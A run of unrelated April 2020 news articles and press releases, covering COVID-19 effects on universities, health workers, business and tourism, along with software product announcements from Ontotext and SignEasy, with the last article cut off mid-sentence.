Michael Uhlenkamp wrote in an email to The Chronicle that the complaint misstates the facts. Although classes were converted to online instruction after Governor Newsom issued his stay-at-home order, every CSU campus continued to fulfill its mission of providing instruction and services to its students, Uhlenkamp wrote. Campuses continue to operate, and many personal services are now provided remotely, such as counseling, advising, faculty office hours, disability student services and even telehealth medical care. CSU also insisted it is processing refund requests for certain campus-based fees ... that are determined to have been unearned by the campus, Uhlenkamp added. Also on Tuesday, a UC Berkeley student filed a separate class-action lawsuit against the University of California seeking reimbursement of tuition, fees and other costs. The student, Noah Ritter, accused UC of providing inadequate and/or arbitrary reimbursement that does not fully compensate Plaintiff and members of the Class for their loss. These are the latest in a string of suits stemming from higher educations response to the coronavirus crisis. Many of the lawsuits, including one filed Monday against Vanderbilt University in Nashville, sought reimbursement for tuition given the shift from in-person to online classes. The suits filed Monday against UC and CSU seek only the refund of unused campus fees, not tuition. The complaint against UC was brought by Claire Brandmeyer, a student at UC Davis, and the complaint against CSU was brought by Akayla Miller, a student at Sonoma State. We think the two university systems did the right thing trying to make a remote learning program as robust as possible, Adam Levitt, attorney for the plaintiffs, said in a phone interview Tuesday. They also refunded the unused portion of room and board, to their credit. What they failed to do, however, and I frankly dont understand why: They refused to refund the campus fees. Were talking about a lot of money, especially when aggregated across the two systems, and that money belongs to students and their families. More than 700,000 students attend the 33 campuses in the two systems. Campus fees at CSU range from $847 to $2,401 for the 2019-20 academic year, according to the complaints, while UC students pay anywhere from $3,128 to $5,128. These class-action lawsuits might serve as the prelude to a larger showdown on the horizon. Most schools have not yet publicly announced their plans for the fall semester, though some, such as San Jose State, will offer nearly all classes online. Students and faculty at UC Berkeley also are bracing for online instruction to extend into the new school year. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. San Jose State Provost Vincent Del Casino, in an interview last week with The Chronicle, indicated the school doesnt plan to reduce tuition for the fall semester. Other schools, facing severe financial challenges, could take the same approach. I do think its going to be interesting to see what happens as fall semester gets closer, if universities are going to attempt to charge full boat on tuition and fees, Levitt said. But these lawsuits are not about whats being done in the future. Were not predicting or projecting, were focused on the here and now. This is not the first time students have challenged UC officials about campus fees. Eight students sued the university in 2003 over an increase and won the case, leading to about 40,000 students receiving refunds. But UC later charged a $60 fee per student, starting in 2007, to recoup its losses. That legal fee expired in 2018. Chronicle staff writer Nanette Asimov contributed to this report. Ron Kroichick is a San Francisco Chronicle staff writer. Email: rkroichick@sfchronicle.com Twitter: @ronkroichick [April 28, 2020] Ontotext Platform 3.1 Fosters Easier Development and Usage of Knowledge Graphs Ontotext Platform 3.1 Features GraphQL Mutation and Federation, Schema Generation, Access Control and API Gateway SOFIA, Bulgaria, April 28, 2020 /PRNewswire/ -- Ontotext has released the 3.1 version of Ontotext Platform an advanced platform for organizing enterprise knowledge into knowledge graphs. The new release packs a lot of major new capabilities and features such as easy modification of knowledge graphs via GraphQL Mutations, more comprehensive access control via fine-grained role management and single point access across multiple services via GraphQL Federation. It also adds an experimental functionality for easy generation of initial Semantic Objects models from OWL ontologies. Knowledge graphs enable unified information across the enterprise, enriched with contextual and semantic relevance across the silos. They facilitate agile exploration and discovery of relations that reveal critical patterns and insights supporting the organization's business goals. In this way, they provide the underpinning of modern approaches to organizing machine learning input and output and enable Explainable AI. Ontotext Platform lowers the cost and time to build and manage knowledge graphs. It combines the latest software engineering tendencies such as GraphQL-based APIs with knowledge representation principles and the RDF technology stack. At the same time, with the introduction of Semantic Objects, the Platform presents abstractions that are comfortable to business users. With Ontotext Platform 3.1, the development of knowledge gaphs is even faster. The Platform automatically generates interfaces to create, update and delete concepts from the Semantic Objects model. These graph mutation functions help focusing on what to update instead of how. Developing company-wide knowledge graphs also requires a reliable security model. Version 3.1 includes declarative Role-Based Access Control (RBAC) to secure the company knowledge without bespoke software development. It allows security experts and administrators to define mappings between corporate directories and the Semantic Object operations. Ontotext Platform is based on open standards and allows easy extensions. Version 3.1 brings support for extending the Semantic Objects via Apollo Federation with external services to either virtualize or integrate those services. The federation provides a mechanism to combine multiple GraphQL endpoints and schema into a single aggregate endpoint and composite schema. The federation remains transparent for the clients and allows them to fetch data from any number of sources simultaneously, without needing to know which data comes from which source. GraphQL federation allows unified access to data that are part of a knowledge graph with data from graph agnostic systems. To reduce the learning curve for all clients who want to start using the Platform, there is a new experimental schema generation functionality that provides an easy way to generate an initial Semantic Objects model based on RDFS, OWL or schema.org ontologies. The model can be used directly in the Platform or modified and extended using the Semantic Objects Modeling Language. Platform version 3.1 introduces significant deployment infrastructure advances: Helm charts for Kubernetes deployment that supports easy extension with custom services packaged as Docker containers. Also, it provides a command-line tool that automates the initial Ontotext Platform infrastructure configuration, reducing the complexity and errors of manual configuration, and making it more efficient. The Platform Gateway provides a centralized security point for service routing, JWT token validation, throttling and more. Last but not least, version 3.1 improves operations infrastructure: health checks; operational dashboards for service monitoring, exploration and alerting (Grafana); efficient services for metric collection (Telegraf) and storage (InfluxDB), as well as other functionalities that are necessary for highly-available business-critical production services. The Ontotext Platform team has many other interesting new features in store for its users, so stay tuned. Get the latest Ontotext Platform now. About Ontotext For over two decades Ontotext has brought together knowledge, data and analytics transforming how organizations identify meaning across diverse databases and massive amounts of unstructured data through knowledge graphs. Ontotext makes tailor-made solutions across multiple sectors: media and publishing, healthcare and life sciences, government and cultural heritage, financial services and more. Their client list includes news and media agencies like the BBC and Financial Times, top Academic publishers like Elsevier, Springer Nature and Wiley, leading pharmacological companies such as AstraZeneca, public institutions including the UK Parliament, Kadastr.NL and US Department of Defense, and cultural institutions like the British Museum, The National Gallery of USA and Getty Trust. Photo: https://mma.prnewswire.com/media/1160194/Ontotext_Platform_News.jpg Logo: https://mma.prnewswire.com/media/448827/Ontotext_Logo.jpg [ Back To TMCnet.com's Homepage ] M ore than 24,000 coronavirus patients have died, new figures show, as the nation paid tribute to frontline workers who lost their lives during the pandemic. Some 24,243 deaths involving Covid-19 have now been registered across the UK, according to Press Association analysis. The Care Quality Commission (CQC) also said more than 4,000 deaths have occurred in care homes in England, however the true toll is thought to be far higher. It comes as the nation held a minutes silence to honour those who have lost their lives on the frontline following a campaign from Unison, the Royal College of Midwives and the Royal of College of Nursing. People across the UK paused for a minute in tribute to the sacrifice made by those in roles ranging from doctors and nurses to carers, cleaners, porters and bus drivers. Prime Minister Boris Johnson , who has just returned to work this week after recovering from Covid-19, joined the countrywide commemoration, Mr Hancock was confronted on LBC radio by the son of a medic who died two weeks after warning the Government about a lack of personal protective equipment (PPE) . Intisar Chowdhury, 18, the son of Abdul Mabud Chowdhury, a consultant urologist at Homerton hospital in east London, asked Mr Hancock whether he regretted not taking his fathers concerns seriously and asked him to openly acknowledge there had been mistakes in handling the virus. One minute silence to NHS heroes who lost lives to the Coronavirus 1 /25 One minute silence to NHS heroes who lost lives to the Coronavirus London Ambulance Staff observe the minute silence today at their HQ in Waterloo Road Jeremy Selwyn Staff stand outside Salford Royal Hospital in Manchester during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Shoppers queue in the rain outside Costco in Thurrock during a minutes silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA A minute silence in honour of key workers who have lost their lives due to COVID-19 Sky News London Ambulance Staff observe the minute silence today at their HQ in Waterloo Road Jeremy Selwyn Staff react outside Salford Royal Hospital in Manchester during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA A staff member reacts outside Salford Royal Hospital in Manchester during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Members of the public, NHS staff, and Police offices, some wearing PPE (personal protective equipment) of a face mask as a precautionary measure against COVID-19, pause for a minute's silence to honour UK key workers AFP via Getty Images A police officer observes a minute silence in honour of key workers who have lost their lives due to COVID-19 outside 10 Downing Street, Reuters London Ambulance Staff observe the minute silence today at their HQ in Waterloo Road Jeremy Selwyn Cabinet Secretary Mark Sedwill, Prime minister Boris Johnson and Chancellor of the Exchequer Rishi Sunak stand inside 10 Downing Street, London, to observe a minutes silence in tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA A minute silence in honour of key workers who have lost their lives due to COVID-19 Sky News London Ambulance Staff observe the minute silence today at their HQ in Waterloo Road Jeremy Selwyn Staff stand outside the Royal Derby Hospital, during a minutes silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Staff stand outside the Royal Derby Hospital, during a minutes silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Staff stand inside Camberwell bus depot in London, during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA National Shop Stewards Network protesters outside St Thomas' Hospital in London, during a minute's silence which was to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak. PA Staff members applaud outside the Royal Derby Hospital, following a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak. PA First Minister Nicola Sturgeon stands outside St Andrew's House in Edinburgh to observe a minute's silence in tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Answering the question, the Health Secretary said: Intisar, Im really sorry about your dads death and I have seen the comments youve made and what youve said in public and I think its very brave of you. We took very, very seriously what your father said and weve been working around the clock to ensure that theres enough protective equipment. During the interview, Mr Hancock also suggested that some sport may be allowed to resume behind closed doors as long as it could be carried out in a socially distanced way. I know that the horse racing fraternity are looking at how they can do socially-distant, behind closed doors horse racing, he said. Loading.... I think that these are important things to explore and then to tackle the practical questions that they raise. He added: I do think its doable but a lot of work needs to be done to find a way to make it happen. The Health Secretary also said he does not think there is lockdown fatigue or an appetite for an exit route among the public. TODO: define component type apester If you look at surveys of the public, if you talk to members of the public, if you look at how much the public are following the measures, the public are following the lockdown brilliantly, he said. Theres a media debate about it and I understand that. But actually the proportion of the public who support the lockdown remains absolutely." The comments were made as the NHS prepares to resume key non-coronavirus services, including the most urgent cancer care, over fears thousands of patients could be having their illnesses made worse or missed altogether. Listen to The Leader: Coronavirus Daily podcast SBA Loan Resource Page - Provides an overview of the PPP and EIDL loans, walking business owners through the steps to complete and submit their application online, including one-click links to important resources and loan forms. - Provides an overview of the loans, walking business owners through the steps to complete and submit their application online, including one-click links to important resources and loan forms. Updated Web App for SBA Loan - Using the SignEasy web tool, which is available for desktop and mobile, business owners and their teams can sign up for a free SignEasy account and instantly get access to the PPP form. With a 1-click operation, they can fill out the document with an intuitive drag-and-drop interface to place text, checkboxes, signatures, and initials. They can also store their signature to complete other loan documents like EIDL. Once the forms are completed and signed, they can be shared with an accountant, bank, or SBA-approved lender, or downloaded to the desktop. - Using the SignEasy web tool, which is available for desktop and mobile, business owners and their teams can sign up for a free SignEasy account and instantly get access to the PPP form. With a 1-click operation, they can fill out the document with an intuitive drag-and-drop interface to place text, checkboxes, signatures, and initials. They can also store their signature to complete other loan documents like EIDL. Once the forms are completed and signed, they can be shared with an accountant, bank, or SBA-approved lender, or downloaded to the desktop. Updated SignEasy iOS App - SignEasy users on iPhone and iPad can quickly upload PPP and EIDL forms to their account, fill out the form with drag-and-drop for text, checkboxes etc. and then share the forms with others for signature. Completed forms can be downloaded and subsequently submitted via the SBA loan online tool. "Our mission has been to make life easier for business owners through simple, convenient, and secure online tools for document signing," said Sunil Patro, SignEasy's founder & CEO. "The current crisis has impacted freelancers, solo proprietors and small businesses in a big way, and the funding programs introduced by the federal government have become an essential lifeline. With eSignatures being approved by the SBA, we wanted to provide resources and tools that educate businesses owners about how to access and complete these forms online, and provide a simple and secure way for them to sign these documents and submit them in a timely manner." In addition to the SBA loan resources, SignEasy is offering discounted plans for small and medium-sized businesses, and free business plan upgrades for companies in the healthcare and medical services sector as well as NGOs and nonprofits. The SignEasy Blog includes a library of tips and advice regarding remote work and the use of eSignatures. Enhanced Security with Face ID SignEasy is now accepting Face ID as an additional layer of authentication on iOS devices. Face ID can be enabled to either launch the SignEasy app for secure access to your documents, or to authenticate your signature before finalizing a document. The use of biometric authentication is also captured in the digital audit trail certificate, which is a first for the eSignature industry. From a security standpoint, if an iPhone or iPad is lost or stolen, Face ID prevents anyone else from accessing the account, viewing documents, or signing new ones. For more information on SignEasy, visit our website . About SignEasy Founded in 2010 and headquartered in Dallas with an office in Bangalore, SignEasy is the leading eSignature solution for businesses and professionals worldwide. More than 130,000 customers from 150 countries trust SignEasy's simple and secure solution to shorten contract turnaround times, close deals faster, improve their customer experience, and be more environmentally conscious by using less paper. SignEasy integrates with many popular productivity and business applications like G Suite, Office 365, Dropbox, and Box, as well as leading email providers like Outlook and Gmail. SignEasy was an official launch partner for Google Cloud's new G Suite Add-on framework, was made an Apple mobility partner in November 2019, and was named a Digital Transaction Management (DTM) "Innovator" in 2020 by leading analyst firm Aragon Research. SignEasy's app for iOS and Android has been downloaded more than 6 million times, regularly ranks among the top 100 grossing business apps on the App Store, and is consistently rated #1 in customer satisfaction among eSignature solutions for SMBs by independent software review sites. Media contact: Ted Miller M: 305-331-8334 [email protected] SOURCE SignEasy Related Links https://www.getsigneasy.com/ Tourism minister Iago Negueruela told the Balearic parliament on Tuesday that he would be holding a meeting with two senior directors from Tui later in the day. The aim would be to set common goals for reestablishing tourism from Germany. With Germany's tourism commissioner Thomas Bareiss having said that it is unlikely that Germans will be able to travel to Spain in the near future, Negueruela stressed that decisions on travel will rest with each European state. The Tui directors with whom he would be speaking, he added, are "in permanent contact" with the German government. The minister emphasised that a reactivation of tourism must be within a "security framework", noting that the Balearics have a "better scenario" (in terms of coronavirus) than other parts of Spain. He explained that the government will be working with the Spanish Institute for Tourism Quality in applying a "major agreement" for protecting tourism. From the opposition parties there were questions regarding an approximate idea as to when establishments can start to reopen and under what protocols; testing at ports and airports; the tourist tax (and its possible suspension). The minister confined himself to observing that a plan for de-escalation as it affects tourism is a matter for the whole government, led by the health ministry, and not for the tourism ministry alone. On the tourist tax he has previously stated there is no intention to suspend it but that there will be an adjustment in the system of tax assessment - how hoteliers and others pay revenues from the tax to the government. New Delhi: Bollywood actor Irrfan Khan has been rushed to Mumbai's Kokilaben Dhirubhai Ambani hospital after his health deteriorated. He is admitted in the ICU. He was hospitalised after his health suddenly deteriorated and needed medical assistance. Actor's spokesperson said: Yes it is true that Irrfan khan is admitted to ICU at Kokilaben in Mumbai because of a colon infection. We would keep everyone updated. He is under doctors observation. His strength and courage have helped him battle and fight so far and we are sure with his tremendous willpower and prayers of all his well-wishers, he will recover soon. The actor was diagnosed with a neuroendocrine tumour in 2018 and had opened up on his illness through social media. He shared his health condition with all revealing that he would be needing a proper treatment for which he headed to London. After spending more than a year abroad, he returned last year to Mumbai and even shot for his film 'Angrezi Medium' which released this year. He thanked his fans and well-wishers for the support. However, Irrfan couldn't promote his film 'Angrezi Medium' as he had to again head abroad for his treatment. A few days back, Irrfan Khan's mother Saeda Begum breathed her last in Jaipur. She was 95. He reportedly could not attend her funeral due to the nationwide lockdown in the country. By Nqobile Dludla and Mfuneko Toyana JOHANNESBURG (Reuters) - A solitary motorbike rumbles through otherwise silent streets in Johannesburg, South Africa's once bustling commercial hub, now transformed into a near ghost town by one of the world's strictest coronavirus lockdowns. A few months ago its driver, like most others in the city, would probably have been delivering fast food like fried chicken or burgers to convenience-seeking consumers. Now, as Africa's most advanced economy groans under the weight of the pandemic, delivery firms have found a lifeline in dispatching essential goods instead. With restaurants and retail businesses shut, it's a strategy firms like Naspers-controlled MrD Food, Uber Eats, Netflorist, ride-hailing app Bolt, and drinks seller BOTTLES hope will ensure their survival. It could also leave them well positioned to profit from a rapid shift to online shopping which, though accelerating even before the pandemic, had lagged behind most developed economies. "It was a no-brainer for us," said BOTTLES co-founder and co-chief executive Vincent Viviers. While alcohol sales are banned under South Africa's lockdown restrictions, the online bottle shop said it has seen delivery volumes treble since it switched to offering basic goods. It capitalised on its existing partnership with supermarket chain Pick n Pay to get out ahead of its larger competitors by offering a same-day delivery service. In Europe and the United States, Uber Technologies-owned Uber Eats, Grubhub and Just Eat Takeaway have offered incentives to restaurants and forged partnerships to improve their cash flow during the crisis. Such moves are not possible in South Africa, where the government has ordered restaurants closed during its five-week-old lockdown. Instead, Uber Eats has replaced fast food deliveries with groceries, frozen foods, medication, and personal care items like shower gel and hand sanitiser, all of which are classified by the authorities as essential. Story continues The San Francisco-based firm has also re-styled its ride hailing app to serve businesses in addition to passengers, adding on-demand and scheduled deliveries. Its rival Bolt launched a similar service for businesses, saying its drivers could use the platform to replace the income they are losing during the lockdown. Those deliveries are keeping firms in business, but times are still tough. While the trade in essential goods is picking up, food delivery service MrD, owned by e-commerce giant Takealot, said it was still only doing a fraction of its normal volumes despite a partnership with pharma-chain MediRite and convenience stores. And Patrick Mwanje, a delivery agent for Uber Eats, said his delivery figures have fallen sharply during the lockdown. "Delivering groceries is better than nothing," he told Reuters. "Right now I'm relying on tips to survive." A loosening of South Africa's lockdown restrictions is expected to allow restaurants to reopen, though only for deliveries, from May 1. That should bring some relief. But that doesn't mean delivery services will be going back to focusing on food. And they may not want to. Compared to developed markets like the United States, where consumers now buy everything from toilet paper to washing machines with a click of a button, online shopping in South Africa is still in its infancy. But it is growing. Over half of South Africans now engage in online shopping. And in an economy that had seen growth stagnate even before the pandemic, e-commerce has been a rare bright spot, with annual revenue growth of nearly 7%. A survey by Nielsen conducted in early April found 37% more South Africans were shopping online during the lockdown period. And some analysts, like Standard Bank's Derick de Vries, believe it's a trend that will outlive the pandemic. "The impact of the virus is shaping consumer behaviour and we are witnessing a significant increase in e-commerce activity and demand for home delivery," he said in a note last week. "For businesses to remain viable going forward, they will need an online extension of their business." (Reporting by Nqobile Dludla and Mfuneko Toyana; Editing by Promit Mukherjee, Joe Bavier and Jan Harvey) Maharashtra: Fisheries department bans sale of fish at roadside markets by Badri Chatterjee April 28,2020 | Source: Hindustan Times The Maharashtra fisheries department has issued restrictions on the fishing trade, including a ban on retail sale at roadside markets, even as restrictions are being slowly lifted. Earlier this week, the department published a 43-point standard operating procedure (SOP) to tackle the Covid-19 pandemic. Among major directions, wholesalers can sell their catch while maintaining social distancing norms but retail fish sale by vendors across markets has been banned until further notice, to avoid crowds. Safety of citizens is of utmost importance. The decision is mainly focused on fishers who set up stalls at sections of the market, landing sites or main roads, to avoid overcrowding and chances of community transmission, said Rajendra Jadhav, joint commissioner, state fisheries department. It comes as a difficult decision as lots of fisherwomen are employed in such activities across the Konkan but we were left with no option following overcrowding incidents being brought to our notice by the police, he said. Fishermen have opposed the restrictions. Fisherwomen across 350 such sites in the Mumbai region will be directly affected due to this decision. No such decision has been taken for vendors selling agricultural produce. We demand that the fisheries department withdraws this SOP, said Damodar Tandel, president of a fishing group in Mumbai. While the department has banned retail fish vendors, it has approved door-to-door supply of fish while maintaining social distancing norms. Other restrictions include medical screening of fishing boat staff and monitoring of boat movements. A committee, chaired by the district collector with fisheries department members, will issue permits based on valid identity proof, health documents, and information of family members, submitted through the Aarogya Setu mobile app. This is being done across 91 fish landing sites and three major harbors [two in Mumbai and one in Ratnagiri] functioning currently, said Jadhav. A proposal for mandatory thermal testing is in its final stage of approval from the state, and will also commence soon. Other rules include social distancing during fishing at sea. Not more than three people as crew will be allowed for smaller boats or vessels. If any crew member has reported sick or developed any flu-like symptoms, fishing activities need to abandoned and the boat will return to the jetty immediately, said Jadhav, adding that the fish caught should not be consumed or touched. The catch will be disposed of as per bio-medical waste disposal norms after arrival at landing centres. If any crew member tests positive, the entire crew will undergo mandatory isolation for a minimum of 14 days, said Jadhav. Overall sanitation, disinfection of boats, wearing masks and gloves under all four scenarios is mandatory, he said. According to the National Purse Seine Fishermen Welfare Association (NPSFWA), Maharashtra fishers have incurred losses over ?800 crore over a month and had dumped 15,000 tonnes of fresh catch into the sea during the first two weeks of the lockdown. The present guidelines are confusing and developed haphazardly. The state needs to first support the market by designing a supply-chain of how fish will be sold before drafting guidelines for fishing. By banning retail vendors, a source of income has been destroyed, said Ganesh Nakhawa, chairman, NPSFWA, who is developing a supply-chain model for door-to-door delivery for vendors. The Centre has also announced that there will be no relaxation for the annual fishing ban along the west coast from June 1 to July 31 during the breeding season for the conservation of fisheries resources. How do I apply to become a contact tracer? "There's no centralized approach to the hiring process. So people have to go to their states and local health departments and the CDC Foundation," Harvey said. "Most states and county health departments are advertising open positions right now," he said. "You can go to your state health department website and look for job postings. You can also go to the CDC Foundation's website." What education do you need to be a contact tracer? "It is helpful to have a public health or health care background," Harvey said. Fluency in multiple languages is also helpful. But "no matter what your background, you can be trained to do this work," Harvey said. Different state or local health departments might have different requirements. The CDC Foundation's job posting requires a bachelor's degree for contact tracing candidates. Washington, April 28 : US House Committee on Foreign Affairs launched an inquiry into the Trump administration's decision to halt funding to the World Health Organization (WHO), committee chairman Eliot Engel said. In a letter to Secretary of State Mike Pompeo on Monday, the Democratic congressman decried the decision to halt funding as a political distraction from the administration's response to the COVID-19 and demanded that the State Department produce records and information dealing with the decision, Xinhua news agency reported. "President Trump's decision to halt funding for the World Health Organization (WHO) in the midst of a global pandemic is counterproductive and puts lives at risk," Engel wrote in the letter. Engel said that though the WHO was imperfect, the organization had "played an essential role coordinating among governments around the world, and was quick to declare the spread of COVID-19 a health emergency and a pandemic." The senior congressman pointed out that the WHO had made invaluable efforts to help slow the spread and flatten the curve of the pandemic. "Attacking the WHO, rather than the COVID-19 outbreak, will only worsen an already dire situation by undermining one of our key tools to fight the spreading disease," said Engel. The chairman set a deadline of May 4 for the State Department to hand over documents regarding the decision to withhold funding from the WHO. As the death toll from COVID-19 is increasing across the United States, the White House has tried to deflect criticisms about its earlier blunders by blaming others. Claiming the WHO failed to share information in a "timely and transparent fashion," President Donald Trump earlier this month decided to halt his nation's funding to the agency, a move that has drawn opposition at home and abroad. As of Monday afternoon, the United States reported more than 980,000 COVID-19 cases with over 55,000 deaths, according to the Center for Systems Science and Engineering at Johns Hopkins University. Latest updates on Coronavirus (COVID-19) -- The story has been published from a wire feed without any modifications to the text US President Donald Trump said his administration is considering requiring travellers on certain incoming international flights to undergo temperature and virus checks to help stop the spread of the coronavirus. We're looking at doing it on the international flights coming out of areas that are heavily infected," Trump said at the White House. We will be looking into that in the very near future." Trump said it has not been determined yet whether the federal government or the airlines would conduct the testing. Maybe it's a combination of both," he said. Trump's comments came during an event showcasing a loan program designed to help small businesses weather the coronavirus pandemic, the Paycheck Protection Program. He said the Small Business Administration has processed more loans in 14 days than it has in the previous 14 years. Earlier, the president defended his administration's handling of the pandemic as he met with Florida Gov. Ron DeSantis and promised to help states safely begin reopening their economies. Trump, seated next to DeSantis in the Oval Office, insisted that the United States was doing enough testing to protect Americans reentering the workforce. The administration has been sharply criticized for not overseeing widespread testing, but Trump said no amount would ever be good enough for critics in the media. The president dismissed suggestions that the administration was slow to respond to the threat of COVID-19, including reports that it was mentioned in his daily intelligence briefing in January and February. He stressed his decision to restrict flights from China though more than 40,000 travellers from China still made it to the US afterward and said of the decision: Whether it was luck, talent or something else, we saved many thousands of lives. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Metro Manila (CNN Philippines, April 28) More health workers have contracted COVID-19, most of whom are nurses, the Department of Health confirmed on Tuesday. The DOH said 29 of these medical frontliners have also lost their lives to the viral disease. The agency said there are now 1,336 health personnel who have the new coronavirus. From this number, 507 are nurses, 493 are doctors, 74 are nursing assistants, 47 are medical technologists, 28 are radiologic technologists, 11 are midwives and 11 are respiratory therapists. Some 165 workers such as dentists, barangay health workers and administrative aids also caught the COVID-19. The number of COVID-19-positive medical personnel who died also rose to 29, including 22 doctors, the DOH said. The World Health Organization earlier expressed concern over the rising rate of infected healthcare workers in the country. With the Philippines recording 7,958 cases as of its recent tally, the infection rate among medical frontliners is at 17 percent. The WHO said it is looking at lack of personal protective equipment as the possible cause for increasing cases but the DOH has assured that more sets of PPE are being delivered to hospitals. The agency said it delivered over 1.6 million face masks; 358,200 head caps; 301,300 gloves; 154,075 gowns; 137,675 Kn95 masks and 83,680 N95 masks, along with other equipment to hospitals and facilities on Monday. After 11 Nanded Sahib pilgrims tested positive for Covid-19 in Kapurthala (3), Tarn Taran (7) and Hoshiarpur (1) districts, the Amritsar administration on Tuesday brought 42 shrine-returnees, who were sent home on Sunday, to institutional quarantine centres here. As per information, these pilgrims had returned to Amritsar from Nanded, Maharashtra, on Sunday and were screened by health department personnel at a dispensary here. As none of them showed any symptoms of Covid-19, they were sent home with the directions of 14-day quarantine. For the last two days, they had been staying with their family members who did not accompany them on the pilgrimage. As positive cases were detected among the pilgrims in neighbouring districts of Tarn Taran and Kapurthala, the state health and family welfare department issued directions to directly send the pilgrims returning from Nanded to quarantine centres and conduct their Covid-19 tests. Complying with the instructions, Amritsar deputy commissioner Shivdular Singh Dhillon ordered to bring 42 pilgrims to government-run isolation centres. The 179 pilgrims who had returned on Monday have already been quarantined in these centres. Dhillon said special teams were sent to the homes of these people to bring them to quarantine centres, so that the virus could not spread further if any of them had the infection. He said the step has been taken keeping in view the detection of positive cases among pilgrims in other districts of Punjab. A child walks past flood water at a site for internally displaced people in Aden, Yemen, March 2020. UNHCR/Essam Adduais Nearly one million vulnerable displaced people and refugees in Yemen are at risk of losing their shelter, vital cash assistance for essentials like food and medicine, and much more, UNHCR, the UN Refugee Agency, warned today. They already face abject poverty and hardship, and urgent funding is needed in the coming weeks to keep the lifesaving aid programmes running. Yemen is already considered to be the worlds largest humanitarian crisis. The country is now also facing the overlapping threat of the coronavirus pandemic, and the impact of recent torrential rain and flooding in places like Aden, Abyan, Lahj, Marib, Sanaa and Amanat Al Asemah governorates. Initial reports indicate that more than 100,000 people across Yemen have been impacted. Flash flooding and rains inflicted extensive damage to sites sheltering internally displaced people (IDPs) and to public infrastructure. It is estimated that more than 3.6 million people have been forced to flee their homes in Yemen since the start of the latest conflict in 2015. Only Syria, Colombia and the Democratic Republic of the Congo have larger internal displacement driven by conflict. The annual report on global internal displacement issued today by the Internal Displacement Monitoring Centre (IDMC) estimates that conflict and violence displaced nearly 400,000 people in 2019 alone. UNHCR is urgently seeking US$89.4 million to secure life-saving protection and assistance to internally displaced families, refugees, and asylum-seekers and their hosting communities. With most of the country struggling to survive as the conflict in Yemen enters its sixth year, this funding will enable UNHCR to maintain life-saving aid to internally displaced families, refugees, asylum-seekers and the equally impoverished Yemenis hosting them. This aid is now urgent, as these groups are the most vulnerable to the threat of COVID-19, which may have severe consequences if aid agencies are unable to deliver proper support. Without the required funds, several of UNHCRs critical programs and assistance, such as direct cash support, are at risk of drastic reduction or may cease. This will leave 655,000 internally displaced people, and a refugee and asylum-seeking population in Yemen comprising some 281,000 men, women and children in dire need. They will be without proper means to get food for their families or medicine for their sick children, unable to find shelter, or to keep themselves warm, forcing some to live in the open during this rainy season. For many refugees and displaced families, this is a matter of life and death. UNHCR also supports IDPs in obtaining valid identity documents that are required for children to enroll in schools and patients to be admitted in hospitals. We are also deeply concerned that displaced communities and their hosts are now at a heightened risk, given their dire living and sanitary conditions, and overall decline of local health facilities, as the first confirmed case of COVID-19 was identified in the southern province of Hadramaut on 10 April. Together with our local partners we are engaging IDP and refugee communities, so they are aware of the risks and prevention measures to protect themselves against COVID-19. After five years of conflict, more than 80 per cent of Yemens total population requires some form of assistance. Close to 4 four million IDPs, returnees, refugees and asylum-seekers are now reliant on regular humanitarian aid to survive. So far, UNHCR has received US$58.4 million or 28 per cent of the 2020 required funding to protect and provide critical aid to IDPs, refugees, and host communities alike. For more information on this topic, please contact: Source: Xinhua| 2020-04-29 00:42:41|Editor: huaxia Video Player Close DAR ES SALAAM, April 28 (Xinhua) -- Tanzanian authorities on Tuesday pledged to protect all health workers who are taking care of COVID-19 patients. "The government will make sure that the health workers who are on the frontline of taking care of patients infected by the viral disease are provided with sufficient personal protective equipment," said Ummy Mwalimu, the Minister of Health, Community Development, Gender, Elderly and Children. A statement by the ministry said Mwalimu made the pledge in a meeting with owners of private hospitals and professional medical associations held in the commercial capital Dar es Salaam. The minister thanked the health workers from private hospitals who were working tirelessly toward taking care of the COVID-19 patients. She also commended owners of private hospitals for supporting the government in the uphill task of caring for people infected by the viral disease. Abel Makubi, the Tanzanian government chief medical officer, said joint forces were now needed more than ever before between the government and owners of private health facilities in fighting the spread of the disease. Elisha Osati, the President of the Medical Association of Tanzania, commended the government for efforts it was taking in the fight against the COVID-19 pandemic. As of Tuesday, Tanzania has 306 confirmed cases of COVID-19 since the outbreak of the virus was first reported in the country on March 16. Enditem Almost three quarters of Bay Area companies want shelter-in-place orders to be lifted in the next 30 days, according to a survey by the Bay Area Council, a business group. Survey company QuestionPro polled 178 CEOs and executive leaders between April 21 and April 27, and 71% of respondents said the orders should be lifted within the next 30 days or sooner. The remaining 29% supported sheltering in place for two months or longer. This is beginning to wear thin on businesses ability to maintain their operations, CEO Jim Wunderman said. Economic damage from the coronavirus has been widespread, with 60% of respondents saying they had laid off workers or will be forced to do so under shelter-in-place orders. The vast majority of Bay Area companies surveyed agreed with the regions efforts to slow the epidemic. Roughly 80% of businesses characterized the Bay Areas response to the COVID-19 crisis and particularly shelter-in-place measures as just right. Shelter-in-place orders will last for at least five more weeks. Officials in six Bay Area counties and the city of Berkeley announced on Monday that orders to slow the spread of the novel coronavirus will be extended through the month of May. The full orders will come down this week and are expected to largely keep the current restrictions in place but will include limited easing of specific restrictions for a small number of lower-risk activities, according to officials in Alameda, Contra Costa, Marin, San Francisco, San Mateo and Santa Clara counties and Berkeley. Wunderman said a road map back to regular operations for businesses is crucial to keep operations in the Bay Area and to calm unsettled investors, employees and customers. Air Quality Tracker Check levels down to the neighborhood Ratings for the Bay Area and California, updated every 10 minutes More than a quarter of businesses surveyed said the economic impacts of the pandemic on their business had been very severe while almost half said the effects had been somewhat severe. Only 3% said their business had grown during the pandemic. While the survey provided only anonymized data, almost a third of companies that participated said 75% to 100% of their Bay Area operations are considered essential under shelter-in-place orders. But many said they had seen a slump in business. The survey included a range of company sizes, from those with one to 